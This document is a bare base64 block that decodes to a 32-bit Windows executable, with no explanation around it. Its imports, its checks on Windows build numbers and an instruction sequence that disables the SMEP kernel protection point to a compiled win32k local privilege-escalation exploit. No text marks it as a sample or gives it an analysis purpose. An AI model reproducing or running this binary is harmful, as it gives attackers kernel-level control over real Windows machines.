HW7M8BQU1BW/3X8/3X4/3X0V2oBUGisW0AAagT/FZyIQACLTehqUF+JgfwAAACNsWkBAAAzwFBTUP914P91/P91+P919P915GoBUGisW0AAagT/FZyIQACJBo12BIPvAXXSX15bi+Vdw1WL7IM9WIdAAAB0H4M9MIdAAAd8FoNlCACNRQhqAGoMUP8VGIlAAF3CBABd/yU8h0AAVYvsVv81UIdAAP8VNIhAAIM9WIdAAACL8HQphfZ0Dv8VJIhAADuG1AAAAHQXg2UIAI1FCGoAagxQ/xUYiUAAXl3CBABeXf8laIdAAFWL7IM9WIdAAAB0FoNlCACNRQhqAGoMUP8VGIlAAF3CBABd/yVEh0AAVYvsgewEAQAAVlf/NVCHQAD/FTSIQACLfQiL8IX2D4SKAAAAhf8PhIIAAAD/FSSIQAA7htQAAAB1dItHGFNoBAEAAIsYjYX8/v//UFP/FcCIQACFwHRWg74EAQAAAHVNjYX8/v//aLhcQABQ/xXwiEAAWVmFwHURiZ4EAQAAOYY8AQAAD5TA6xmNhfz+//9oxFxAAFD/FfCIQABZWYXAdQxAhcB0B4vO6BH7//9bV/8VTIdAAF9ei+VdwgQAVYvsi0UIUw+3WAS4hwIAAGY72HUXg2UIAI1FCGoAagxQ/xUYiUAA6acAAABW/zVQh0AA/xU0iEAAi/CF9g+EhgAAAP8VJIhAADuG1AAAAHV4gL5MAQAAAHZvg77MAAAAAHVmg75AAQAAAHQFg/sfdGGDPTCHQAAQfQyD+wZ1B4vO6Hv6//+D+3B1Pv+2+AAAAMaGTAEAAAL/FciIQABqAGgA8QAAaBIBAAD/tvgAAAD/FZSIQAD/tgABAAD/FdCIQADGhkwBAAAEXltd/yVIh0AAXltdwgQAVYvsg+wMU1ZX/zVQh0AAM9v/FTSIQACLdQiL+IX2D4SdAQAAhf8PhJUBAAD/FSSIQAA7h9QAAAAPhYMBAAA5n8wAAAAPhXcBAACKj0wBAACEyQ+EaQEAAIsGhcAPhF8BAACLNWSHQACLEIlV9IP+CnQMa8YOD7eACF1AAOsDaipYD7fAA4cMAQAAiUX4gPkCD4XwAAAAO5cAAQAAD4XkAAAAakRqQlfGh0wBAAAD6EoZAACDxAwzwGaJR0JqIFuD/gp1BIvT6wprxg4Pt5AOXUAAi4/cAAAAi4cgAQAAA8EDwomHXQEAAIuHHAEAAAPBA8KJh1kBAACDwP5RiUcEi8+Ll/gAAACLtxABAABoQAEAAOg8+f//6GP4//9qAGoAD7fAah//twABAACLBDCJRfyJh2UBAAD/FZSIQACNt6kCAABqAGr4/zb/FbSIQACNdhSD6wF17I23qRoAALuAAAAAi0X8V4lHCEBq+P82iUX8/xW0iEAAjXYQg+sBdeOLRfhDi1X0O5cEAQAAdSy5AIAAAGY5CHUig79EAQAAAHUZaKECAAD/t/QAAADogPf//zPbiYdEAQAAQ4XbdQqLdQhW/xVgh0AAX15bi+VdwgQAVYvsg+w4U1aLdQgzwIlV+FeL+YX2D4SAAAAAoWSHQACD+Ap1BWogW+sKa8AOD7eYFF1AAGowjUXIagBQ6OsXAACDxAzHRcgwAAAAK/PHRcwCAAAAM9uJddiNRchTUIuHJAEAAFNqAYPACVD/t+wAAADoHvf//4XAdCGLRfhTiUXojUXIUFNqAVP/t/AAAADHRcwgAAAA6Pn2//9fXluL5V3CBABRgz0wh0AAGnUdi5EUAQAAi4HcAAAAgcK0AAAAA8Iz0lBC6DX///9Zw1WL7IPsPFNWV4v6i/GF/3UHM8DpVwEAAIuG2AAAAIueFAEAAINl6ACDZfgAiUXsi4b8AAAAiUXYi4bcAAAAiV3kiUX86Jj2//8Pt8CJRdwDw4sIA0X8iU3Uiw0wh0AAiUX0g/kWD4yNAAAAM8CD+RYPlMCJReCFwHQTi9+D4wd0DMdF+AEAAACD5/jrA4td3GgAAQAAagj/dez/FRSJQACLVfyLyItF5IPCDAPCiU3wg33gAGpEiUX8WGpAWg9FwovRaAABAACJfAj8xwQIABAAAIuOCAEAAOgk9v//i5YYAQAAi84DVdz/dfyLEuhB/v//hcB0dusPi0XUi13ciUXwi0XUiUX8/3X0i9eLzugg/v//hcB0VWoGjUXEUP912OiV9f//hcB0DzPAOUX4D0XDi0QFxIlF6P919ItV1IvO6O79//+DPTCHQAAWfB7/dfyLlugAAACLzujV/f///3XwagD/dez/FQiJQACLRehfXluL5V3DVYvsXf8loIhAAFWL7Fb/NVCHQAD/FTSIQACL8IX2dGSLRQyD6AF0F4PoAXQIXl3/JaCIQABqAP8ViIhAAOtFM8BQ/zUQh0AAUP91CFBQUFBoAQAAUFBo0FxAAFD/FZyIQABq5v91CImGAAEAAP8VsIhAAA0AAAIAUGrm/3UI/xWQiEAAM8BeXcIQAFWL7IPk+KFkh0AAg+xEU4vZVleD+Ap1BWo0WOsKa8AOD7eAEF1AAIuLIAEAAIu7+AAAAAPIi7MQAQAAi9dRaAAgAACLAYmDUQEAAIuD3AAAAAPBi8uJg00BAADoVPX//+h79P//D7fAixQwi8IlAPD//4vKBQAQAACL8oHh/w8AAIvPD0XwiXQkDCvyumV+QACLxivCK9aDwAcFtn5AAIPg+FDoWPT//4tEJAyNfCQki8iJgzQBAADB6QmNRCQkagqJTCQUvtxcQABZ86Vmpb/AW0AAjXNEV1BqP1b/FfiIQACDxBCNg8QAAABWUP8VBIlAAFcz/1dXV/8VOIhAAImDYQEAAGShGAAAAItwQIX2D4T9AAAAi8voufz//4vWi8vo2fz//4vwhfYPhOMAAABrDTCHQAAaD7eRgl1AAIvLA9bouPz//4XAD4TEAAAAgz0wh0AAB3wbi0QkEDPSBQQAAMCLy1Dox/v//4XAD4SgAAAAg0wkHP+NRCQUV1doAwAfAFDHRCQoQDnS//8VDIlAAIXAeH1XV1dT/3QkHI1EJCxQ/3QkLP8VJIlAAIXAeGJrBTCHQAAai8sPt5CEXUAAA9boN/z//4vQgfoAAACAdkEPtg00h0AAD7YFNYdAACvBi8uDwP0DwjPSUOhB+///hcB0HmoBaOgDAAD/FTCIQABo0AcAAP+zYQEAAP8VDIhAAF9eW4vlXcNVi+xTVlf/NVCHQAD/FTSIQACL8IX2D4QuAQAAg77MAAAAAA+FIQEAAIqGTAEAAITAdC6DfQwSdSj/tvgAAAD/tgABAAD/FeiIQACLzseGSAEAAAEAAADosfL//+npAAAAPAQPheEAAACBfQwBgAAAD4XUAAAAi0UQO4YAAQAAD4XFAAAAoWSHQACLjhwBAACD+Ap1BWogWOsKa8AOD7eADl1AAIM8AQEPhoQAAACLvmUBAACNjqkaAAArvtwAAAC7AAYAAIPHBIlNDIoHRzxBdBGLCejg8f//iUUQhcB1FotNDIPDBIPBEIlNDIH7AAgAAHzX61ShZIdAAIP4CnQTa8AOD7eICl1AAA+3kAxdQADrBmpQWmpkWQ+3wQ+3yotVEAMMEImOVQEAAIvO6LT8//9qAGoAahJqAMeGzAAAAAEAAAD/FcSIQABfXltdwhwAVYvsg+T4gezEAAAAU1aLdQhXhfYPhFUEAABW/zVQh0AA/xUciEAAhcAPhEAEAACLhiwBAACFwHQHUP8VvIhAAFFRjUQkKFDozAwAAGoKM8CNfCRIWfOroRCHQACLPaSIQACJRCRUjUQkIIlEJGiNRCREUMdEJEwhcUAA/9dmhcAPhOUDAABo9AEAAGjIAAAA6JsPAABolgAAAIvYam6JXCQc6IkPAABoKCMAAGhAHwAAiUQkJOh2DwAAaCgjAABoQB8AAIlEJBjoYw8AADPJiUQkDFH/NRCHQABRUf90JCxTUP90JCyNRCRAaAAAzwBRUFH/FZyIQACJRCQYhcAPhGcDAAD/NWyHQABQ6CTw//+L2IXbD4RRAwAAi1MMhdIPhEYDAABkoRgAAACLSxAry4M9MIdAABl8CouA6AYAAAPB6wiLgOQGAACLAImG4AAAACvBUYmG5AAAAI1EJCRRUImO3AAAAImW6AAAAOinCwAAoaCIQACJRCRIjUQkRFD/12aFwA+E4QIAADP/jUQkIFf/NRCHQABXV/90JCz/dCQo/3QkJP90JCxoAADPAFdQV/8VnIhAAIlEJAyFwA+EqAIAAIvI6J7v//+JRCQUhcAPhJUCAABX/xUkiEAAUFdovHNAAP81EIdAAGj///9/agH/FYCIQACJRCQQhcAPhGgCAACLzuiB8v//gz0wh0AAFnwwi76pAgAAi8/oSO///4XAD4Q5AgAAUWgQAQAAi9eJvggBAACLzomGGAEAAOgG8P//i0QkGIvOiYb0AAAAi0QkDImG+AAAAItEJBSJngwBAACJhhABAADooPH//4sdhIhAAP/TagFqAYv4aAABAABXib7sAAAA/xWMiEAAoWSHQABqEFqD+Ap1D4M9MIdAAAdqMFkPTMrrJWvADg+3kBJdQAAPt4AQXUAAi8oryIPpCPbBB3YI/4YkAQAAA8qLlvwAAABRUYvO6Gvv////02oBagGL2GgAAQAAU4me8AAAAP8VjIhAAIvP6Gnu//+JRCQYhcAPhFYBAACLy+hW7v//iUQkDIXAD4RDAQAAagdZM8CNfCQo86uNRCQox0QkKBwAAABQU8dEJDQIAAAAx0QkSAEAAAD/FaiIQACLjvwAAADoEO7//4vIhckPhP8AAACLRCQYiYYcAQAAi0QkDGgsAQAAiYYgAQAAiY4UAQAAxoZMAQAAAf8VKIhAAGoF/7b0AAAA/xW4iEAAakSNhCSMAAAAakJQ6EYOAACDxAyNvqkCAAAzwLsACAAAZomEJMoAAACNhCSIAAAAUGr4/zf/FbSIQACNfwSD6wF15o2+qRoAALuAAAAAagBq+P83/xW0iEAAjX8Qg+sBdexoLAEAAP8VKIhAAGoBagFoAQIAAP+2AAEAAP8VxIhAAIs92IhAAOsjg/j/dCw5nswAAAB1JI1EJGxQ/xWYiEAAjUQkbFD/FdSIQABTU1ONRCR4UP/XhcB1z8eGzAAAAAEAAAD/dCQQ/xV8iEAAM8DrAzPAQF9eW4vlXcIEAP8VYIhAAGoAoxSHQAD/FVSIQABrDTCHQAAagz0wh0AAEKMQh0AAD7eBcF1AAKNwh0AAD7eBcl1AAKNch0AAD7eBel1AAKNsh0AAD7eBdF1AAKM4h0AAD7eBdl1AAKNAh0AAD7eBeF1AAKNUh0AAfBDGBTWHQABZxgU0h0AAfOsOxgU1h0AAVcYFNIdAAHi5x1tAAOmACQAAVYvsUVGheIdAAINl/ABWV4tQLDP2iVX4i46wWkAAZoXJdRRrBTCHQAANwekQA8gPtwxNcF1AAI08iouOuFpAAIsHiQGNRfxQagRqBFf/FUCIQACFwHQli4a0WkAAiQeNRfxQ/3X8agRX/xVAiEAAi1X4g8YMg/5Icp7rAjPAX16L5V3DVYvsUVGheIdAAFYz9leLUCyJdfyJVfiLjrBaQABmhcl1FGsFMIdAAA3B6RADyA+3DE1wXUAAjUX8UGoEjTyKagRX/xVAiEAAhcB0JYuGuFpAAIsAiQeNRfxQ/3X8agRX/xVAiEAAi1X4g8YMg/5IcqZfXovlXcNVi+xRUYNl/ADHRfgBAAAA/xVgiEAAoxSHQAD/FViIQACjUIdAAIM9UIdAAP91BOsw6y6DPTCHQAAbfALrI+gq/v//6L3+//+FwHUE6xPrEccFWIdAAAEAAADHRfwBAAAAi0X8i+Vdw1WL7IPsFFNWiU34M9sz9uiE////hcAPhC4BAABRUY1F7FDoewYAAGiAAAAA/xVIiEAAUP8VRIhAACFd/FdoqSIAAGoI/zUUh0AA/xUsiEAAi/iF/w+E5AAAADP2VlZW/xU8iEAAiYfYAAAAi0X4iYfQAAAAjYfUAAAAUGoEV2gNdUAAVlb/FRiIQACL8GoPVv8VTIhAAGoBVv8VAIhAADPAUGgAAADAUFBQjUXsUP8V3IhAAIlF9IXAdAaJhywBAABW/xVQiEAAaBAnAABW/xUMiEAAhcB0G2pkx4fMAAAAAQAAAP8VKIhAAGoAVv8VFIhAAFdqAP81FIdAAP8VCIlAAItF9IXAdAdQ/xXgiEAAOR10h0AAdSNo6AMAAP8VKIhAAItF/ECJRfyD+AIPjAr///85HXSHQAB0AzPbQ1+F9nQHVv8VXIhAAP81UIdAAP8VZIhAAIsNuFpAAIM5AHQF6Lv9//9ei8Nbi+Vdw1WL7FFWg+L4M/aLAYPg+DvCdBBGg8EEgf4AAwAAcuszwOsPiU38i038i1UI8IcRM8BAXovlXcIIAFaL8bn4SI8Zi9boZgUAAIvWoyyHQAC5Ne2U4uhVBQAAi9ajHIdAALl0yaxK6EQFAACL1qMoh0AAuamwQbzoMwUAAIvWoyCHQAC56HsnM+giBQAAi9ajGIdAALkexIr06BEFAACjJIdAADPAOQUsh0AAXg+VwMNVi+yDPXSHQAAAD4WxAAAAM8lXi30IQYkNdIdAAIX/D4SbAAAAi4dZAQAAUzPbiQiLh10BAACJCIuPTQEAAIuHUQEAAIkBi4dVAQAAi00MiRjoNP///4XAdGWNRQhQ/7fQAAAA/xUoh0AAhcB1MFb/dQj/FRyHQACLDSyHQACL8P8x/xUch0AAUYtNCIvWUOi9/v///3UI/xUgh0AAXo1FDIldDFCNh8QAAABQ/xUYh0AAhcB0CVNTUP8VJIdAAFtfXcIIAGCLfCQkagdYM8kPovbDgHQKDyDgD7rwFA8i4PxkoTgAAACLcARmgeYA8K09TVqQAHUGrYP4A3QJwe4MTsHmDOvpg+4IVle4oH1AAP/QYcIMAJCQkJDMzFWL7IHsHAEAAFNWV2iEh0AA/xUIiEAAvhwBAACNheT+//9WM/9XUOgYCAAAg8QMibXk/v//aICHQAD/FUiIQABQ/xUEiEAAM9tDagleOT2Ah0AAdQ+JPXyHQABmOTWEh0AAdQaJHXyHQACNheT+//9Q/xUQiUAAhcB5BzPA6ZsCAACheIdAAGoKWokVZIdAAIuIpAAAAIuAqAAAADvKD4UqAQAAhcAPhW8CAAA4Xf4Phd8AAACLhfD+//89ACgAAA+EuQAAAD1aKQAAD4SZAAAAPTk4AAB0eT3XOgAAdFk9qz8AAHQ5Pe5CAAB0GccFMIdAABwAAADHBWSHQAAIAAAA6RUCAADHBTCHQAAbAAAAxwVkh0AABwAAAOn8AQAAxwUwh0AAGgAAAMcFZIdAAAYAAADp4wEAAMcFMIdAABkAAADHBWSHQAAFAAAA6coBAADHBTCHQAAWAAAAxwVkh0AAAgAAAOmxAQAAxwUwh0AAFQAAAIkdZIdAAOmcAQAAxwUwh0AAFAAAAIk9ZIdAAOmHAQAAgb3w/v//OTgAAHQVxwUwh0AAHQAAAIk1ZIdAAOlmAQAAxwUwh0AAFwAAAMcFZIdAAAMAAADpTQEAAIP5Bg+FwAAAAIXAdWYPt0X4OF3+dTIrx3Qfg+gBdAuJNTCHQADpIwEAAMcFMIdAAAgAAADpFAEAAMcFMIdAAAcAAADpBQEAACvHD4S1AAAAg+gBdA/HBTCHQAAMAAAA6ekAAADHBTCHQAALAAAA6doAAAA7w3UiOF3+dQ4zwGY5RfgPlcCDwA3rNccFMIdAAA8AAADptAAAAIP4AnUNM8A4Xf4PlcCDwBDrFIP4Aw+FmQAAADPAOF3+D5XAg8ASozCHQADphAAAAGoFWjvKdX1qAlk7w3RCOF3+dQw7wXVtOR18h0AAdDE7wXVhD7dF+CvHdBmD6AF0DMcFMIdAAAYAAADrSIkVMIdAAOtAxwUwh0AABAAAAOs0D7dF+CvHdCaD6AF0GYPoAXQMxwUwh0AAAwAAAOsWiQ0wh0AA6w6JHTCHQADrBok9MIdAAIvDX15bi+Vdw1aL8Vb/FVSIQACFwHUHVv8VaIhAAF7DVYvsU4vZV4v6hdt0G1Yz9oX/dBP/dQz/dQjoJwMAAIgEHkY793LtXl9bXcIIAFWL7FZXagZqA+gKAwAAi3UIi84Ptvhqemphi9fosf///2paakHo7gIAAIgGxgQ3AF9eXcIMAFWL7FeLfQg5fQx2F4tFEItNDCtNCMHpAvzyr2fjBY1H/OsCM8BfXcIMAFcz/zPArITAdA08YXwCLCDBzw0D+Ovsl1/DVYvsg+wMg2X4AFNWV4lV/IlN9FNRUlZXg338AHR1i3X8ZoE+TVp1awN2PIE+UEUAAHVgi1Z4hdJ0WQNV/ItaIANd/ItKGIszA3X86Jb///87RfR0B4PDBOLs6zeLQhgrwYtyJAN1/FK7AgAAADPS9+NaA8YzyWaLCIt6HDPSuwQAAACLwffjA0X8A8eLAANF/OsCM8BfXlpZW4lF+ItF+F9eW4vlXcNVi+xRUVeJVfiJTfxXi338i0X4i00IwekC/POrX1+L5V3CBABWaP8AAABqAGoQWovx6Hv+//9mi0YGuf8PAABmI8G5AEAAAGYLwWaJRgaKRggkPwyAiEYIXsNVi+yD7BRWVzPAjX3sq4vxjU3sq6ur6K////+DZfwAjUX8UI1F7FD/FXCIQACLTfwr8YoBiAQOQYTAdfaNRfxQ/xV0iEAAX16L5V3DVYvsUVMz21Yz9kOJXfw5dQh0SGShMAAAAKN4h0AA6K36//+FwHQ0Vo1F/FBWaCUQAAD/FeSIQACLTQg5HXyHQAB1B+gX4f//6wXoSPf//4M9dIdAAACL8A9F84vGXluL5V3CBADMzMzMzMzMzMzMzMzMzMxVi+xT6HsAAACLXQwrXQhyF0OLyvfji8GLyvfjA8ETVQiLwlvJwggAuAAAAIBbycIIAFWL7FeLRQgzyb8FS1asD6/HQIkEjRQCQABBg/kicurZ6Ns9AAJAAMcFDAJAAAAAAADHBRACQABQAAAA6BIAAAC/HgAAAOgIAAAAT3X4X8nCBABTix0MAkAAiw0QAkAAi5MUAkAAi4MYAkAAwcITwcAbA5EUAkAAA4EYAkAAiYMUAkAAiZMYAkAAg+sIcwW7gAAAAIPpCHMFuYAAAACJHQwCQACJDRACQABbw1WL7KEUAkAAhcB1Cg8xM8JQ6D//////dQz/dQjoAv///8nCCAD/JfiIQAD/JfCIQAD/JQyIQAD/JRCIQAD/JRSIQAD/JRiIQAD/JRyIQAD/JSCIQAD/JSSIQAD/JSiIQAD/JSyIQAD/JTCIQAD/JTSIQAD/JTiIQAD/JQCIQAD/JTyIQAD/JUCIQAD/JUSIQAD/JUiIQAD/JUyIQAD/JVCIQAD/JVSIQAD/JViIQAD/JVyIQAD/JWCIQAD/JWSIQAD/JWiIQAD/JQiIQAD/JQSIQAD/JXyIQAD/JYCIQAD/JYSIQAD/JYiIQAD/JYyIQAD/JZCIQAD/JeiIQAD/JZSIQAD/JZiIQAD/JZyIQAD/JaCIQAD/JaSIQAD/JaiIQAD/JayIQAD/JbCIQAD/JbSIQAD/JbiIQAD/JbyIQAD/JcCIQAD/JcSIQAD/JciIQAD/JcyIQAD/JdCIQAD/JdSIQAD/JdiIQAD/JdyIQAD/JeCIQAD/JeSIQAD/JSCJQAD/JRyJQAD/JRiJQAD/JRSJQAD/JSSJQAD/JQSJQAD/JQiJQAD/JQyJQAD/JRCJQAD/JXSIQAD/JXCIQAD/JfSIQAD/JfyIQADMzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArosAAJyMAACMjAAA9ooAAAyLAAAgiwAAMosAAEKLAABQiwAAXIsAAHKLAAB6iwAAhosAAJCLAACeiwAAxosAANSLAADmiwAA+osAAA6MAAAijAAAMowAAEaMAABSjAAAYIwAAHKMAAB8jAAAAAAAAGaPAABUjwAAAAAAALyMAADOjAAA4IwAAO6MAAAAjQAADo0AACqNAAA6jQAATo0AAGCNAAByjQAAhI0AAJKNAACkjQAAtI0AAMSNAADSjQAA5o0AAPaNAAAGjgAAGI4AACiOAAA4jgAATI4AAFqOAABsjgAAfI4AAB6NAAAAAAAA3ooAAIKPAADQigAAjI8AAAAAAAAEjwAAHI8AACqPAAA6jwAA5I4AANCOAAC2jgAAoI4AAPaOAAAAAAAAlIoAAAAAAAAAAAAA6ooAAPCIAACkiQAAAAAAAAAAAACujAAAAIgAACCKAAAAAAAAAAAAAJSOAAB8iAAAqIoAAAAAAAAAAAAASo8AAASJAAAUigAAAAAAAAAAAAB2jwAAcIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAArosAAJyMAACMjAAA9ooAAAyLAAAgiwAAMosAAEKLAABQiwAAXIsAAHKLAAB6iwAAhosAAJCLAACeiwAAxosAANSLAADmiwAA+osAAA6MAAAijAAAMowAAEaMAABSjAAAYIwAAHKMAAB8jAAAAAAAAGaPAABUjwAAAAAAALyMAADOjAAA4IwAAO6MAAAAjQAADo0AACqNAAA6jQAATo0AAGCNAAByjQAAhI0AAJKNAACkjQAAtI0AAMSNAADSjQAA5o0AAPaNAAAGjgAAGI4AACiOAAA4jgAATI4AAFqOAABsjgAAfI4AAB6NAAAAAAAA3ooAAIKPAADQigAAjI8AAAAAAAAEjwAAHI8AACqPAAA6jwAA5I4AANCOAAC2jgAAoI4AAPaOAAAAAAAAOQNfc253cHJpbnRmAABeA19zdHJpY21wAABtc3ZjcnQuZGxsAAB+A1dhaXRGb3JTaW5nbGVPYmplY3QAUwFHZXRFeGl0Q29kZVRocmVhZABLA1Rlcm1pbmF0ZVRocmVhZABsAENyZWF0ZVRocmVhZAAAUgNUbHNTZXRWYWx1ZQALAkhlYXBGcmVlAAA+AUdldEN1cnJlbnRUaHJlYWRJZAAAQgNTbGVlcAAFAkhlYXBBbGxvYwBDA1NsZWVwRXgAUQNUbHNHZXRWYWx1ZQBLAENyZWF0ZUV2ZW50QQAALANTZXRUaHJlYWRBZmZpbml0eU1hc2sABwJIZWFwQ3JlYXRlAAB0A1ZpcnR1YWxQcm90ZWN0AAAfA1NldFByaW9yaXR5Q2xhc3MAADsBR2V0Q3VycmVudFByb2Nlc3MAMQNTZXRUaHJlYWRQcmlvcml0eQDCAlJlc3VtZVRocmVhZAAAdgFHZXRNb2R1bGVIYW5kbGVBAABPA1Rsc0FsbG9jAAAxAENsb3NlSGFuZGxlAJwBR2V0UHJvY2Vzc0hlYXAAAFADVGxzRnJlZQBEAkxvYWRMaWJyYXJ5QQAAuwFHZXRTeXN0ZW1JbmZvADUCSXNXb3c2NFByb2Nlc3MAAEtFUk5FTDMyLmRsbAAArAJVbmhvb2tXaW5FdmVudAAAfgJTZXRXaW5FdmVudEhvb2sAXQBDcmVhdGVNZW51AAABAlBvc3RRdWl0TWVzc2FnZQAIAEFwcGVuZE1lbnVBAEcCU2V0Q2xhc3NMb25nQQBmAlNldFBhcmVudAA7AlNlbmRNZXNzYWdlQQAAqgJUcmFuc2xhdGVNZXNzYWdlAABgAENyZWF0ZVdpbmRvd0V4QQCOAERlZldpbmRvd1Byb2NBAAAWAlJlZ2lzdGVyQ2xhc3NBAABgA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